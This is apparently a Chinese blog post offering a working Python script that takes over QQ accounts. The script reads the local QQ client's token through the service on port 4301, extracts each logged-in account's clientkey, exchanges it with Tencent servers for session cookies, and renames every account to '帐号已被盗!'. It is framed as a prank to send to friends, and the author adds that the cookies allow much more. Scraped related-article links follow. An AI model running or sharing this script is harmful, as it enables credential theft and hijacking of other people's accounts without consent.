QQ大盗 - 巧用clientkey
场景:
1.将程序发给好友,好友打开 qq昵称就会被秒改为”账号已被盗“。
2.将程序运行在自己的电脑,让那些随意借用电脑看片聊天的室友产生一个觉悟:乱使用别人电脑很可能会泄露隐私。
思路:
通过数据包模拟网页中的qq快速登录,拿到登录凭证(Cookie)修改qq昵称 实现账号被盗的假象。
1、local_token:
qq快速登录是基于qq的客户端实现的,qq客户端启动时会生成一个local_token(保存在本地的一个钥匙),通过local_token访问qq客户端的本地服务器(4301端口)可以获取到电脑上登录的所有qq账号。
2、clientkey:
仅仅知道qq账号肯定是无法登录的,还要拿clientkey。可以把clientkey理解成密码,qq客户端登录成功时会生成这个值,每个成功登录的账号都有自己的clientkey 相互匹配,只要拿到账号的clientkey就可以偷偷快速登录了。
3、cookies:
前面两步其实都是在本地网络下完成的,验证于qq客户端的本地服务器。现在提交uin+clientkey模拟快速登录是需要腾讯的远程服务器来验证的,验证通过就可以拿到登录凭证了(Cookies)。
4、ldw:
通过前几步我们已经拿到登录凭证了,可以为所欲为访问腾讯所有web端的服务了,现在我想修改账号的昵称。
我选择了通过qq个人中心的一个接口修改昵称,这个接口需要一个ldw值,并不复杂,一个get请求就能拿到。
实现:
以下使用python编程语言操作。
from urllib import request
from http import cookiejar
import json
import re opener=None
cookie=None
local_token=None
json_uins=None def modNick(index,nick):
clientuin=json_uins[index]['account']
clientkey=None
ldw=None #拿到clientkey
url = 'https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin='+clientuin+'&callback=ptui_getst_CB&r=0.810010167110566&pt_local_tk=' + local_token
opener.open(url)
for item in cookie:
if (item.name == 'clientkey'):
clientkey = item.value
break #登录
url='https://ssl.ptlogin2.qq.com/qqid?pt_clientver=5563&pt_src=1&keyindex=9&sid=5&ptlang=2052&clientuin='+clientuin+'&clientkey='+clientkey
opener.open(url) #拿到ldw
url="http://id.qq.com/cgi-bin/get_base_key?r=0.9431299830075388"
opener.open(url)
for item in cookie:
if (item.name == 'ldw'):
ldw = item.value
break #修改昵称
url = 'http://id.qq.com/cgi-bin/userinfo_mod'
data = '&n=' + nick + '&ldw=' + ldw
res = opener.open(url, bytes(data, 'utf-8'))
data = res.read() if __name__=='__main__': #opener初始化
cookie=cookiejar.CookieJar()
opener=request.build_opener(request.HTTPCookieProcessor(cookie))
opener.addheaders = [('Referer','https://xui.ptlogin2.qq.com')] #拿到local_token
url='https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=1006102&daid=1&style=23&hide_border=1&proxy_url=http%3A%2F%2Fid.qq.com%2Flogin%2Fproxy.html&s_url=http://id.qq.com/index.html'
opener.open(url)
for item in cookie:
if(item.name == 'pt_local_token'):
local_token=item.value
break #拿到uins
url='https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.21624413130736064&pt_local_tk='+local_token
res=opener.open(url)
json_uins=json.loads(re.compile('var var_sso_uin_list=(.*?);').findall(str(res.read(),'utf-8'))[0]) #修改昵称
for index in range(0,len(json_uins)):
modNick(index, '帐号已被盗!')
最后说几句:
改个昵称啥的都是小事情,拿到Cookies可以做到的事情太多了。请以自我娱乐的意识去研究扩展,不要干扰影响他人网络环境。
QQ大盗 - 巧用clientkey的更多相关文章
- ClientKey实现登录QQ空间,并设置背景音乐
ClientKey大家都知道的,通过webbrowser登录后取得Cookie并计算出GTK,即可操作空间的POST. 源代码中引用了苏飞的Http类库,自己修改添加了一些拓展方法. 下载地址:htt ...
- 巧用foxmail同步qq邮箱的通讯录
如果您企业使用的qq企业邮箱,那么你在web端登陆邮箱并填写收件人时,发现QQ邮箱是可以自动完成,并且中文名称自动完成. 如何在使用foxmail邮件客户端的情况下也同步这些邮箱信息呢?需要七步,看截 ...
- 啊哈算法之巧用队列解密QQ号
简述 本算法摘选自啊哈磊所著的<啊哈!算法>第二章第一节的题目——使用队列来解密举例中按照规则加密的QQ号.文中代码使用C语言编写,博主通过阅读和理解,重新由Java代码实现了一遍,意在深 ...
- QQ JS省市区三级联动
如下图: 首先写一个静态的页面: <!DOCTYPE html> <html> <head> <title>QQ JS省市区三级联动</title ...
- 巧用第三方高速开发Android App 热门第三方SDK及框架
巧用第三方高速开发Android App 热门第三方SDK及框架 历经大半年的时间,最终是把这门课程给录制出来了,也就在今天,正式在慕课网上上线了 项目地址:巧用第三方高速开发Android App ...
- 巧用第三方快速开发Android App 热门第三方SDK及框架
巧用第三方快速开发Android App 热门第三方SDK及框架 历经大半年的时间,终于是把这门课程给录制出来了,也就在今天,正式在慕课网上上线了 项目地址:巧用第三方快速开发Android App ...
- 技术揭秘“QQ空间”自动转发不良信息
大家经常会看到QQ空间自动转发一些附带链接的不良信息,即便我们的QQ密码并没有被盗取.最近通过对一个QQ空间自动转发链接进行分析,发现该自动转发机制通过利用腾讯网站存在漏洞的页面,精心构造出利用代码获 ...
- 闲谈:乌云上那些 web-based 的 QQ 漏洞
0×00 起始 昨日凌晨,看到爱尖刀团队发布了一条“腾讯客户端XSS,已第一时间提交至TSRC”的微博,心想,腾讯又出此类漏洞了.今日,由于有一位名叫“阿布”的同学将该漏洞发布到了乌云,引来不少争吵甚 ...
- C# 获取QQ群数据的实现
一,分析 1,群数据获取 当访问http://qun.qq.com/air/#mygroup我们通过Fiddler可以查看到QQ群列表是从http://qun.qq.com/air/group/min ...
随机推荐
- 不知道AI这三点优势,你可能真的要被淘汰
不知道 AI 这三点优势,你可能真的要被淘汰 我们正处于飞速发展的数字化转型时期,这是由巨大的市场转变驱动的--即人工智能和机器学习. 同时,随着AI 和机器学习技术的普及,从中获益的不仅仅是大型企业 ...
- java.lang.UnsupportedClassVersionError: com/mysql/jdbc/Driver : Unsupported major.minor version 52.0
版本为: jdk1.7.0_80 mysql-connector-java-5.1.46-bin.jar 解决办法: 升级JDK或者降级MySQL Connector/J为mysql-connecto ...
- Spring-Kafka —— 消费重试机制实现
消息处理问题 在从Kafka主题接收消息之后立即处理消息的消费者的实现非常简单.不幸的是,现实要复杂得多,并且由于各种原因,消息处理可能会失败.其中一些原因是永久性问题,例如数据库约束失败或消息格式无 ...
- Kubernetes Dashboard的安装与坑【h】
1.前言 https://github.com/kubernetes/dashboard/releases kubectl apply -f https://raw.githubusercontent ...
- python3速查参考- python基础 4 -> 元组 + 字典 + 字符串 的学习
元组 元组:特点就是内容不可变,算只读的列表,可以被查询,不能被修改 a = 2, print(a) print(type(a)) b = ('a','b','c') print(b[1]) 运行结果 ...
- 一个提高照片质量的网站和一个改变照片DPI的方法
相信很多童鞋都有遇到过,碰到一张很喜欢的图片,想用来做背景什么的,蛋似--因为画质太AV了怕引起误会,所以不敢使用!很气--!! 这时大神就会跳出来说,画质不好?PS是用来吃si的么! 我:我才不会用 ...
- MySQL知识篇-SQL1
1 SQL是什么? 答:是结构话语言,是一种操作关系型数据库的语言. 2 SQL语言分类? SQL语言 说明 举例 DDL 数据定义语言 create drop DML 数据操作语言 insert ...
- ThinkPHP 使用 SwaggerUi 自动生成 api 文档
1.下载swagger-ui GitHub地址:https://github.com/swagger-api/swagger-ui 2.修改 ThinkPHP 的 build.php ,执行命令生成需 ...
- Spark2.0学习记录
Hadoop与Spark的关系: ------------------- Spark 与mapReduce的区别: mapReduce和spark的内存结构: ------------------- ...
- 快速排序的js实现
该方法的基本思想是: 1.先从数列中取出一个数作为基准数. 2.分区过程,将比这个数大的数全放到它的右边,小于或等于它的数全放到它的左边. 3.再对左右区间重复第二步,直到各区间只有一个数. var ...